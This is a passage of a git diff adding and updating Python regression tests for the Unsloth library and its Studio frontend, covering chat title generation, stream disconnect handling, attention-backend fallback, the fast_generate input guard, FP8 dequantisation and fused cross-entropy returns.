+    assert "if (hasOwn(systemVariables, key))" in resolver
+    assert "key in systemVariables" not in resolver
+
+
+def test_prompt_variable_nested_lookup_ignores_prototype_properties():
+    nested_lookup = _function_source("getNestedValue")
+    assert "if (!hasOwn(current, part))" in nested_lookup
diff --git a/tests/studio/test_chat_title_generation.py b/tests/studio/test_chat_title_generation.py
new file mode 100644
index 0000000000..4f82b4ec03
--- /dev/null
+++ b/tests/studio/test_chat_title_generation.py
@@ -0,0 +1,115 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Regression checks for Studio chat title generation context."""
+
+from __future__ import annotations
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+RUNTIME_TSX = REPO / "studio/frontend/src/features/chat/runtime-provider.tsx"
+
+
+def _source_until(src: str, anchor: str, end_anchor: str) -> str:
+    start = src.find(anchor)
+    assert start != -1, f"anchor {anchor!r} not found"
+    end = src.find(end_anchor, start)
+    assert end != -1, f"end anchor {end_anchor!r} not found"
+    return src[start:end]
+
+
+def _balanced_block(src: str, anchor: str) -> str:
+    # Brace-counting only; assumes no unbalanced braces in strings, regexes, or comments.
+    start = src.find(anchor)
+    assert start != -1, f"anchor {anchor!r} not found"
+    body_start = src.find("{", start)
+    assert body_start != -1, f"body opener after {anchor!r} not found"
+
+    depth = 0
+    for index in range(body_start, len(src)):
+        char = src[index]
+        if char == "{":
+            depth += 1
+        elif char == "}":
+            depth -= 1
+            if depth == 0:
+                return src[start : index + 1]
+    raise AssertionError(f"unbalanced block after {anchor!r}")
+
+
+def test_title_model_prompt_targets_conversation_topic():
+    block = _source_until(
+        RUNTIME_TSX.read_text(),
+        "async function generateTitleWithModel",
+        "\nconst inflightTitleByKey",
+    )
+
+    assert "conversation topic" in block
+    assert "not the user's exact wording" in block
+    assert "Use the assistant reply as context when provided" in block
+    assert "Rules: 2-6 words" in block
+
+
+def test_title_model_payload_includes_optional_assistant_reply():
+    block = _source_until(
+        RUNTIME_TSX.read_text(),
+        "async function generateTitleWithModel",
+        "\nconst inflightTitleByKey",
+    )
+
+    assert "assistantText?: string;" in block
+    assert 'const assistant = clip(payload.assistantText ?? "", 384);' in block
+    assert "const parts: string[] = [`User: ${user}`];" in block
+    assert "if (assistant)" in block
+    assert "parts.push(`Assistant: ${assistant}`);" in block
+    assert 'parts.join("\\n")' in block
+
+
+def test_generate_title_passes_first_assistant_reply_after_first_user():
+    block = _balanced_block(
+        RUNTIME_TSX.read_text(),
+        "async generateTitle(remoteId",
+    )
+
+    assert 'const firstUserIndex = messages.findIndex((m) => m.role === "user");' in block
+    assert '.find((m, i) => m.role === "assistant" && i > firstUserIndex)' in block
+    assert "const assistantText = extractTextParts(firstAssistant);" in block
+    assert "generateTitleWithModel({" in block
+    assert "userText," in block
+    assert "assistantText," in block
+
+
+def test_auto_title_disabled_uses_deterministic_user_text_fallback():
+    block = _balanced_block(
+        RUNTIME_TSX.read_text(),
+        "async generateTitle(remoteId",
+    )
+    auto_title_off = _balanced_block(block, "if (!autoTitle)")
+
+    assert "fallbackTitleFromUserText(userText)" in auto_title_off
+    assert "generateTitleWithModel" not in auto_title_off
+
+
+def test_model_failure_still_falls_back_to_user_text():
+    block = _balanced_block(
+        RUNTIME_TSX.read_text(),
+        "async generateTitle(remoteId",
+    )
+
+    assert "})) || fallbackTitleFromUserText(userText);" in block
+
+
+def test_title_normalizer_still_enforces_output_constraints():
+    block = _source_until(
+        RUNTIME_TSX.read_text(),
+        "async function generateTitleWithModel",
+        "\nconst inflightTitleByKey",
+    )
+
+    assert r'replace(/[^\x20-\x7E]+/g, " ")' in block
+    assert 'replace(/["\'`]+/g, "")' in block
+    assert 'replace(/[.!?:;,]+/g, " ")' in block
+    assert 'title.split(" ").filter(Boolean).slice(0, 6)' in block
+    assert "joined.length > 60" in block
diff --git a/tests/studio/test_stream_cancel_registration_timing.py b/tests/studio/test_stream_cancel_registration_timing.py
index 2e6b5f14da..7cfe9bf32c 100644
--- a/tests/studio/test_stream_cancel_registration_timing.py
+++ b/tests/studio/test_stream_cancel_registration_timing.py
@@ -146,24 +146,50 @@ def test_async_generators_cleanup_tracker_in_finally():
     )
 
 
-def test_streaming_responses_have_no_background_task():
-    top = None
-    for n in ast.walk(_TREE):
-        if isinstance(n, ast.AsyncFunctionDef) and n.name == "openai_chat_completions":
-            top = n
-            break
-    assert top is not None
+def test_chat_completions_streams_avoid_starlette_task_group():
+    top = _async_function("openai_chat_completions")
+    legacy_calls = []
+    same_task_calls = 0
     for sub in ast.walk(top):
         if not (isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)):
             continue
-        if sub.func.id != "StreamingResponse":
+        if sub.func.id == "StreamingResponse":
+            legacy_calls.append(sub.lineno)
+        if sub.func.id == "_SameTaskStreamingResponse":
+            same_task_calls += 1
+    assert not legacy_calls, (
+        "Streaming /v1/chat/completions must use _SameTaskStreamingResponse, "
+        "not Starlette's legacy task-group StreamingResponse. Lines: "
+        f"{legacy_calls}"
+    )
+    assert same_task_calls >= 5
+
+
+def test_openai_passthrough_stream_avoids_starlette_task_group():
+    top = _async_function("_openai_passthrough_stream")
+    legacy_calls = []
+    same_task_calls = 0
+    for sub in ast.walk(top):
+        if not (isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)):
             continue
-        kwargs = {kw.arg for kw in sub.keywords if kw.arg}
-        assert "background" not in kwargs, (
-            "StreamingResponse in openai_chat_completions must not pass "
-            "`background=` -- cleanup now lives in the generator's finally "
-            "block; a BackgroundTask would be skipped on abrupt disconnect"
-        )
+        if sub.func.id == "StreamingResponse":
+            legacy_calls.append(sub.lineno)
+        if sub.func.id == "_SameTaskStreamingResponse":
+            same_task_calls += 1
+    assert not legacy_calls, (
+        "OpenAI passthrough streams must use _SameTaskStreamingResponse, "
+        "not Starlette's legacy task-group StreamingResponse. Lines: "
+        f"{legacy_calls}"
+    )
+    assert same_task_calls >= 2
+
+
+def test_local_chat_streams_install_same_task_disconnect_watcher():
+    top = _async_function("openai_chat_completions")
+    assert _calls_name(top, "_await_disconnect_then_cancel"), (
+        "Local same-task streams must watch request disconnects themselves; "
+        "do not restore Starlette's task-group StreamingResponse for this."
+    )
 
 
 def test_direct_llama_server_streams_install_disconnect_watcher():
@@ -185,6 +211,33 @@ def test_direct_llama_server_streams_install_disconnect_watcher():
     )
 
 
+def test_audio_input_stream_installs_disconnect_watcher():
+    audio = _async_function("audio_input_stream")
+    has_watcher = False
+    has_cleanup = False
+    for sub in ast.walk(audio):
+        if isinstance(sub, ast.Call):
+            fn = sub.func
+            if (
+                isinstance(fn, ast.Attribute)
+                and fn.attr == "create_task"
+                and isinstance(fn.value, ast.Name)
+                and fn.value.id == "asyncio"
+                and sub.args
+                and isinstance(sub.args[0], ast.Call)
+                and isinstance(sub.args[0].func, ast.Name)
+                and sub.args[0].func.id == "_await_disconnect_then_cancel"
+            ):
+                has_watcher = True
+            if isinstance(fn, ast.Name) and fn.id == "_stop_local_disconnect_cancel_watcher":
+                has_cleanup = True
+    assert has_watcher, (
+        "audio_input_stream must install a disconnect watcher so client "
+        "disconnects set cancel_event while asyncio.to_thread(next, ...) is blocked"
+    )
+    assert has_cleanup, "audio_input_stream must stop its disconnect watcher in finally"
+
+
 # ── Behavioral helpers ───────────────────────────────────────
 
 _WANTED = {
@@ -222,6 +275,21 @@ def _load_registry_module():
     return mod
 
 
+def _load_same_task_response_module():
+    for n in _TREE.body:
+        if isinstance(n, ast.ClassDef) and n.name == "_SameTaskStreamingResponse":
+            source = ast.get_source_segment(SRC, n)
+            break
+    else:
+        raise AssertionError("_SameTaskStreamingResponse missing")
+    mod = {}
+    exec(
+        "class StreamingResponse: pass\nclass ClientDisconnect(Exception): pass\n" + source,
+        mod,
+    )
+    return mod
+
+
 def _make_stream(tracker, raise_exc):
     async def gen():
         try:
@@ -326,6 +394,41 @@ def test_finally_cleanup_on_aclose():
     assert "sid-abort" not in m["_CANCEL_REGISTRY"]
 
 
+def test_same_task_response_closes_body_iterator_on_send_disconnect():
+    m = _load_same_task_response_module()
+    closed = False
+
+    async def body():
+        nonlocal closed
+        try:
+            yield "data: first\n\n"
+        finally:
+            closed = True
+
+    async def run():
+        agen = body()
+        await agen.__anext__()
+        response = m["_SameTaskStreamingResponse"].__new__(m["_SameTaskStreamingResponse"])
+        response.body_iterator = agen
+        response.background = None
+        # __new__ bypasses __init__; __call__'s disconnect branch reads _unstarted_cleanup.
+        response._unstarted_cleanup = None
+
+        async def stream_response(_send):
+            raise OSError("client disconnected")
+
+        response.stream_response = stream_response
+        try:
+            await response({}, None, lambda _message: None)
+        except m["ClientDisconnect"]:
+            pass
+        else:
+            raise AssertionError("expected ClientDisconnect")
+
+    asyncio.run(run())
+    assert closed
+
+
 def test_preset_cancel_event_exits_cleanly_with_done():
     # Pending-replay: a stashed cancel pre-set cancel_event. The loop must break
     # cleanly with final_chunk + [DONE], not propagate GeneratorExit from the GGUF wrapper.
diff --git a/tests/test_attn_impl_honor_explicit.py b/tests/test_attn_impl_honor_explicit.py
new file mode 100644
index 0000000000..3fb7a2208f
--- /dev/null
+++ b/tests/test_attn_impl_honor_explicit.py
@@ -0,0 +1,190 @@
+"""An explicit non-flash attention request must survive the flash disable path.
+
+When flash attention is disabled for a model, a caller who explicitly asked for
+"sdpa" or "flex_attention" should keep that choice instead of being downgraded
+to whatever the conservative supports_* fallback would pick.
+"""
+
+import pytest
+
+from unsloth.models._utils import (
+    _disable_flash_attention_if_needed,
+    resolve_attention_implementation,
+)
+
+
+def test_explicit_sdpa_is_honored_even_when_not_marked_supported():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "sdpa",
+        supports_sdpa = False,  # conservative flag would have skipped sdpa
+        supports_flex_attention = False,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_explicit_flex_is_honored_when_supported():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flex_attention",
+        supports_sdpa = True,
+        supports_flex_attention = True,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "flex_attention"
+    assert config.get("_attn_implementation") == "flex_attention"
+
+
+def test_explicit_flex_falls_back_when_not_supported():
+    # flex_attention is False for known-broken/excluded configs (e.g. gpt_oss),
+    # so an explicit flex request must not select that backend - it falls back.
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flex_attention",
+        supports_sdpa = True,
+        supports_flex_attention = False,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+
+
+def test_synthesized_config_sdpa_is_not_treated_as_explicit():
+    # The language loader seeds the config with attn_implementation="sdpa"; when the
+    # caller passes nothing, that synthesized value must not override the flex fallback
+    # for a model that supports flex but not sdpa.
+    config = {"attn_implementation": "sdpa"}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = None,
+        supports_sdpa = False,
+        supports_flex_attention = True,
+        would_use_flash_attention = False,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "flex_attention"
+
+
+def test_no_disable_reason_returns_request_untouched():
+    result = _disable_flash_attention_if_needed(
+        {},
+        attn_implementation = "flash_attention_2",
+        disable_reason = None,
+    )
+    assert result == "flash_attention_2"
+
+
+def test_flash_request_still_falls_back_when_disabled():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flash_attention_2",
+        supports_sdpa = True,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+
+
+def test_resolver_honors_explicit_sdpa_when_not_supported_and_flash_disabled():
+    # End-to-end through the public resolver: an explicit sdpa request with a
+    # flash-disabled config (oversized head dim) and supports_sdpa=False must not be
+    # rewritten to eager by the resolver's own not-supports_sdpa guard.
+    config = {"model_type": "test", "head_dim": 512}  # head_dim > 256 disables flash
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_resolver_downgrades_non_explicit_sdpa_when_not_supported():
+    # No explicit request: the model resolution seeds sdpa/eager and the guard must
+    # still downgrade a synthesized sdpa to eager for a model that cannot run it.
+    config = {"model_type": "test", "attn_implementation": "sdpa"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = None,
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+
+
+def test_resolver_downgrades_explicit_sdpa_for_sdpa_excluded_model():
+    # gpt_oss is in _SDPA_EXCLUDED_MODELS (sdpa is known-broken) and _FLASH_EXCLUDED_MODELS
+    # (flash disabled). Honoring an explicit sdpa request must not re-enable that broken
+    # backend: it downgrades to eager, mirroring how an explicit flex request falls back
+    # for _FLEX_EXCLUDED_MODELS. supports_sdpa=True proves the exclusion overrides even a
+    # model that otherwise advertises SDPA support.
+    config = {"model_type": "gpt_oss"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = True,
+    )
+    assert result == "eager"
+    assert config.get("_attn_implementation") == "eager"
+
+
+@pytest.mark.parametrize("model_type", ["gemma3", "gemma3_text"])
+def test_resolver_downgrades_explicit_sdpa_for_disable_sdpa_model(model_type):
+    # gemma3 / gemma3_text are in DISABLE_SDPA_MODEL_NAMES: the loader forces
+    # supports_sdpa=False because their bundled SDPA modules are wrong. An explicit
+    # sdpa request with flash disabled must NOT re-enable that known-wrong path - it
+    # downgrades to eager, exactly like _SDPA_EXCLUDED_MODELS (gpt_oss). head_dim>256
+    # disables flash to mirror the real flash-disabled scenario.
+    config = {"model_type": model_type, "head_dim": 512}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+    assert config.get("_attn_implementation") == "eager"
+
+
+def test_resolver_does_not_overmatch_gemma3n_for_explicit_sdpa():
+    # The "gemma3," trailing-comma guard must not match gemma3n: gemma3n is not in
+    # DISABLE_SDPA_MODEL_NAMES, so it stays a conservative (not known-wrong) model and an
+    # explicit sdpa request is still honored. Proves the substring match neither over- nor
+    # under-matches.
+    config = {"model_type": "gemma3n", "head_dim": 512}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_resolver_downgrades_synthesized_sdpa_for_disable_sdpa_model():
+    # A synthesized/default sdpa (requested is None; the value came from config) on a
+    # DISABLE_SDPA_MODEL_NAMES model must still downgrade to eager.
+    config = {"model_type": "gemma3", "attn_implementation": "sdpa"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = None,
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(pytest.main([__file__, "-q"]))
diff --git a/tests/test_fast_generate_slow_guard.py b/tests/test_fast_generate_slow_guard.py
new file mode 100644
index 0000000000..6bfc561e54
--- /dev/null
+++ b/tests/test_fast_generate_slow_guard.py
@@ -0,0 +1,95 @@
+"""GPU-free test for the fast_generate slow-mode guard in _utils.py.
+
+When fast_inference=False, model.fast_generate falls back to HuggingFace generate, so vLLM-only
+inputs must be rejected with a clear message instead of leaking into transformers.generate. Covers
+a string prompt, a vLLM {"prompt":..., "multi_modal_data":...} dict, SamplingParams passed both
+positionally and as a kwarg, and a normal tokenized call passing through.
+"""
+
+import ast, functools, os
+
+HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+UTILS = os.path.join(HERE, "unsloth", "models", "_utils.py")
+
+
+def _load_factory():
+    src = open(UTILS).read()
+    for node in ast.parse(src).body:
+        if isinstance(node, ast.FunctionDef) and node.name == "make_fast_generate_wrapper":
+            ns = {"functools": functools}
+            exec(ast.get_source_segment(src, node), ns)
+            return ns["make_fast_generate_wrapper"]
+    raise AssertionError("make_fast_generate_wrapper not found in _utils.py")
+
+
+make_fast_generate_wrapper = _load_factory()
+
+
+class _SamplingParams:
+    pass
+
+
+_SamplingParams.__name__ = "SamplingParams"  # match by class name, no vllm import needed
+
+
+def _wrapper():
+    state = {}
+
+    def original_generate(*a, **k):
+        state["hit"] = True
+        return "ok"
+
+    return make_fast_generate_wrapper(original_generate), state
+
+
+def _rejects(fn, needle):
+    try:
+        fn()
+    except ValueError as e:
+        assert needle in str(e), str(e)
+        return True
+    raise AssertionError("expected ValueError")
+
+
+def test_fast_generate_slow_guard():
+    w, _ = _wrapper()
+    # reject every vLLM-only shape
+    assert _rejects(lambda: w("hello"), "fast_inference=True")
+    assert _rejects(
+        lambda: w({"prompt": "hi", "multi_modal_data": {"image": None}}), "fast_inference=True"
+    )
+    assert _rejects(lambda: w(["a", "b"]), "fast_inference=True")
+    assert _rejects(lambda: w([{"prompt": "hi"}]), "fast_inference=True")  # list of prompt dicts
+    assert _rejects(
+        lambda: w({"prompt_token_ids": [1, 2, 3]}), "fast_inference=True"
+    )  # vLLM TokensPrompt
+    assert _rejects(lambda: w(prompts = "hello"), "fast_inference=True")  # vLLM `prompts` kwarg
+    assert _rejects(
+        lambda: w(prompts = [{"prompt": "hi"}]), "fast_inference=True"
+    )  # vLLM `prompts` kwarg list
+    assert _rejects(
+        lambda: w(prompt_token_ids = [1, 2, 3]), "fast_inference=True"
+    )  # vLLM legacy tokenized kwarg
+    assert _rejects(
+        lambda: w(prompts = [1, 2, 3]), "fast_inference=True"
+    )  # token-id list via vLLM-only `prompts` kwarg
+    assert _rejects(
+        lambda: w(prompts = None), "fast_inference=True"
+    )  # vLLM-only kwarg present even if None
+    assert _rejects(lambda: w({"prompt": "hi"}, _SamplingParams()), "sampling_params")
+    assert _rejects(
+        lambda: w({"prompt": "hi"}, [_SamplingParams()]), "sampling_params"
+    )  # list of SamplingParams
+    assert _rejects(lambda: w(sampling_params = object()), "sampling_params")
+
+    # pass normal tokenized calls with no false positives
+    w, state = _wrapper()
+    assert w(input_ids = "TOKENS", max_new_tokens = 8) == "ok" and state.get("hit")
+    assert w([1, 2, 3], max_new_tokens = 8) == "ok"  # positional token ids
+    assert w([], max_new_tokens = 8) == "ok"  # empty positional
+    print("13 reject + 3 pass fast_generate slow-mode guard cases passed")
+
+
+if __name__ == "__main__":
+    test_fast_generate_slow_guard()
+    print("OK: fast_generate rejects vLLM-style inputs when fast_inference=False")
diff --git a/tests/test_fp8_tiny_e8m0.py b/tests/test_fp8_tiny_e8m0.py
new file mode 100644
index 0000000000..cf49c8c92f
--- /dev/null
+++ b/tests/test_fp8_tiny_e8m0.py
@@ -0,0 +1,123 @@
+"""FP8 block-quant linear must handle tiny / non-tileable weights and e8m0 scales.
+
+Two things break the triton block path:
+  * a hidden dim not divisible by the activation block size (tiny test models),
+  * float8_e8m0fnu weight scales, which have no triton dtype mapping.
+The forward falls back to a torch-native blockwise dequant + bf16 matmul; this
+test checks that fallback runs finite forward + backward and matches a plain
+dequant reference.
+"""
+
+import pytest
+import torch
+
+pytestmark = pytest.mark.skipif(not torch.cuda.is_available(), reason = "needs CUDA")
+
+
+def _reference(X, weight, scale, block):
+    # Expand the per-block scale to full weight shape and dequantize.
+    m, n = weight.shape
+    s = scale.to(torch.float32)
+    s = s.repeat_interleave(block[0], 0)[:m].repeat_interleave(block[1], 1)[:, :n]
+    W = (weight.to(torch.float32) * s).to(X.dtype)
+    return X @ W.T
+
+
+def test_tiny_non_tileable_forward_backward_matches_reference():
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [128, 128]
+    m, n = 8, 8  # non-tileable, in-dim % 128 != 0
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)  # (out=m, in=n)
+    scale = torch.rand(1, 1, device = dev, dtype = torch.float32) + 0.5
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all(), "forward produced non-finite values"
+
+    ref = _reference(X.detach(), weight, scale, block)
+    torch.testing.assert_close(out, ref, atol = 5e-2, rtol = 5e-2)
+
+    out.sum().backward()
+    assert X.grad is not None and torch.isfinite(X.grad).all(), "backward non-finite"
+
+
+def test_e8m0_scale_is_upcast_and_runs():
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    if not hasattr(torch, "float8_e8m0fnu"):
+        pytest.skip("torch build lacks float8_e8m0fnu")
+
+    dev = "cuda"
+    m, n = 8, 8
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)
+    scale = (torch.rand(1, 1, device = dev) + 1.0).to(torch.float8_e8m0fnu)
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all()
+    out.sum().backward()
+    assert torch.isfinite(X.grad).all()
+
+
+def test_rectangular_block_dequant_matches_reference():
+    # Rectangular blocks (block_size[0] != block_size[1]) that tile evenly used to
+    # route through the triton weight_dequant kernel, which uses a single BLOCK_SIZE
+    # for both axes and mis-indexes the column scale. Verify the torch expansion path
+    # now matches the reference for a 64x256 weight with block [64, 128] (scale 1x2).
+    from unsloth.kernels.fp8 import _blockwise_weight_dequant_any_shape
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [64, 128]
+    m, n = 64, 256  # evenly tiled: 64 % 64 == 0, 256 % 128 == 0
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)
+    # Distinct per-block column scales expose column mis-indexing.
+    scale = torch.tensor([[0.5, 3.0]], device = dev, dtype = torch.float32)
+
+    W_deq = _blockwise_weight_dequant_any_shape(weight, scale, block, torch.bfloat16)
+
+    s = scale.repeat_interleave(block[0], 0)[:m].repeat_interleave(block[1], 1)[:, :n]
+    ref = (weight.to(torch.float32) * s).to(torch.bfloat16)
+    torch.testing.assert_close(W_deq, ref, atol = 5e-3, rtol = 5e-3)
+
+
+def test_e8m0_scale_preserves_non_default_block_size_attr():
+    # An e8m0 scale carrying a non-default block_size attribute must keep it across
+    # the float32 upcast in forward; otherwise the lookup falls back to [128, 128]
+    # and a compatible layout is wrongly rejected as incompatible.
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    if not hasattr(torch, "float8_e8m0fnu"):
+        pytest.skip("torch build lacks float8_e8m0fnu")
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [64, 64]
+    # in-dim 96 is not divisible by block[1]=64 -> forward takes the torch dequant
+    # fallback (no fp8 matmul kernel). Scale shape (2, 2) validates for [64, 64] but
+    # not [128, 128] (which expects (1, 1)).
+    m, n = 128, 96
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)  # no block_size attr
+    scale_f = torch.rand(2, 2, device = dev) + 1.0
+    scale = scale_f.to(torch.float8_e8m0fnu)
+    scale.block_size = block  # attribute lives on the scale, not the weight
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    # With [128, 128] this raises "not compatible with block size"; success proves
+    # the [64, 64] attribute survived the e8m0 -> float32 upcast.
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all()
+
+    ref = _reference(X.detach(), weight, scale.to(torch.float32), block)
+    torch.testing.assert_close(out, ref, atol = 5e-2, rtol = 5e-2)
+
+    out.sum().backward()
+    assert X.grad is not None and torch.isfinite(X.grad).all()
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(pytest.main([__file__, "-q"]))
diff --git a/tests/test_fused_ce_not_return_dict_logits.py b/tests/test_fused_ce_not_return_dict_logits.py
new file mode 100644
index 0000000000..51a6ec4843
--- /dev/null
+++ b/tests/test_fused_ce_not_return_dict_logits.py
@@ -0,0 +1,62 @@
+# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+
+"""Drift detector for unsloth#2068.
+
+The fused-CE path never materializes ``logits``, so its ``not return_dict``
+return must use ``EMPTY_LOGITS`` (it once used ``logits`` -> UnboundLocalError).
+Pure text inspection, so it runs GPU-free (the fused path is GPU/triton only)."""
+
+from __future__ import annotations
+
+import re
+from pathlib import Path
+
+import pytest
+
+
+_REPO = Path(__file__).resolve().parent.parent
+
+
+def _fused_ce_not_return_dict_return(source: str) -> str:
+    """Return the `output = (...) + outputs[1:]` assignment from the first
+    `if not return_dict:` after the `unsloth_fused_ce_loss(` call. Whitespace-
+    tolerant regexes survive reformatting; the anchor targets the fused branch."""
+    fused = re.search(r"unsloth_fused_ce_loss\s*\(", source)
+    if fused is None:
+        raise ValueError("unsloth_fused_ce_loss( call not found")
+    guard = re.search(r"if\s+not\s+return_dict\s*:", source[fused.end() :])
+    if guard is None:
+        raise ValueError("`if not return_dict:` guard not found after fused-CE call")
+    guard_start = fused.end() + guard.start()
+    out = re.search(r"output\s*=\s*\(.*?outputs\s*\[\s*1\s*:\s*\]", source[guard_start:], re.DOTALL)
+    if out is None:
+        raise ValueError("`output = (...) + outputs[1:]` assignment not found")
+    return out.group(0)
+
+
+@pytest.mark.parametrize("rel", ["unsloth/models/llama.py", "unsloth/models/mistral.py"])
+def test_fused_ce_not_return_dict_uses_empty_logits(rel):
+    path = _REPO / rel
+    source = path.read_text(encoding = "utf-8")
+    assert "unsloth_fused_ce_loss(" in source, f"{rel}: fused-CE call vanished"
+
+    ret = _fused_ce_not_return_dict_return(source)
+    assert "EMPTY_LOGITS" in ret, (
+        f"DRIFT (#2068): {rel} fused-CE `not return_dict` returns {ret!r}; it must "
+        f"use EMPTY_LOGITS since `logits` is never assigned on the fused-CE path."
+    )
+    assert "(logits,)" not in ret, (
+        f"DRIFT (#2068): {rel} fused-CE `not return_dict` references the unassigned "
+        f"`logits` ({ret!r}) -> UnboundLocalError at runtime."
+    )
diff --git a/tests/test_generate_kwarg_gate.py b/tests/test_generate_kwarg_gate.py
new file mode 100644
index 0000000000..6d1379d3a9
--- /dev/null
+++ b/tests/test_generate_kwarg_gate.py
@@ -0,0 +1,137 @@
+"""GPU-free test for the generate-kwarg gate in vision.py
+(_unsloth_generate_accepts_kwarg), covering both logits_to_keep injection and mm_token_type_ids
+stripping, AST-extracted so no unsloth/CUDA import is needed."""
+
+import ast, inspect, os
+
+HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+VISION = os.path.join(HERE, "unsloth", "models", "vision.py")
+
+
+def _load_helper():
+    src = open(VISION).read()
+    mod = ast.parse(src)
+    for node in mod.body:
+        if isinstance(node, ast.FunctionDef) and node.name == "_unsloth_generate_accepts_kwarg":
+            ns = {"inspect": inspect}
+            exec(ast.get_source_segment(src, node), ns)
+            return ns["_unsloth_generate_accepts_kwarg"]
+    raise AssertionError("_unsloth_generate_accepts_kwarg not found in vision.py")
+
+
+accepts = _load_helper()
+
+
+class PrepHasKwargs_ForwardHasKey:
+    # **kwargs on prepare unions forward params; key in forward -> ACCEPTED.
+    def prepare_inputs_for_generation(self, input_ids, **kwargs): ...
+    def forward(
+        self,
+        input_ids,
+        logits_to_keep = 0,
+        **kwargs,
+    ): ...
+
+
+class PrepNoKwargs_ForwardHasKey:
+    # no **kwargs -> forward not unioned; key only in forward -> REJECTED (gpt-oss shape).
+    def prepare_inputs_for_generation(
+        self,
+        input_ids,
+        attention_mask = None,
+    ): ...
+    def forward(
+        self,
+        input_ids,
+        logits_to_keep = 0,
+    ): ...
+
+
+class PrepHasKeyDirectly:
+    # key directly on prepare -> ACCEPTED.
+    def prepare_inputs_for_generation(
+        self,
+        input_ids,
+        logits_to_keep = 0,
+    ): ...
+    def forward(self, input_ids): ...
+
+
+class NoPrepare:
+    # no prepare -> empty args, no union -> REJECTED.
+    def forward(
+        self,
+        input_ids,
+        logits_to_keep = 0,
+        **kwargs,
+    ): ...
+
+
+class VisionRejectsMM:
+    # Qwen3-VL shape: neither prepare nor forward names mm_token_type_ids -> REJECTED (stripped).
+    def prepare_inputs_for_generation(
+        self,
+        input_ids,
+        attention_mask = None,
+    ): ...
+    def forward(
+        self,
+        input_ids,
+        pixel_values = None,
+    ): ...
+
+
+class VisionAcceptsMM:
+    # forward names mm_token_type_ids and prepare unions it via **kwargs -> ACCEPTED (kept).
+    def prepare_inputs_for_generation(self, input_ids, **kwargs): ...
+    def forward(
+        self,
+        input_ids,
+        mm_token_type_ids = None,
+        **kwargs,
+    ): ...
+
+
+# (model, key, expected) per gate case.
+CASES = [
+    (
+        "prep(**kwargs)+forward(key)  -> accept",
+        PrepHasKwargs_ForwardHasKey(),
+        "logits_to_keep",
+        True,
+    ),
+    (
+        "prep(no kwargs)+forward(key) -> reject",
+        PrepNoKwargs_ForwardHasKey(),
+        "logits_to_keep",
+        False,
+    ),
+    ("prep(key) direct             -> accept", PrepHasKeyDirectly(), "logits_to_keep", True),
+    ("no prepare_inputs_for_gen    -> reject", NoPrepare(), "logits_to_keep", False),
+    (
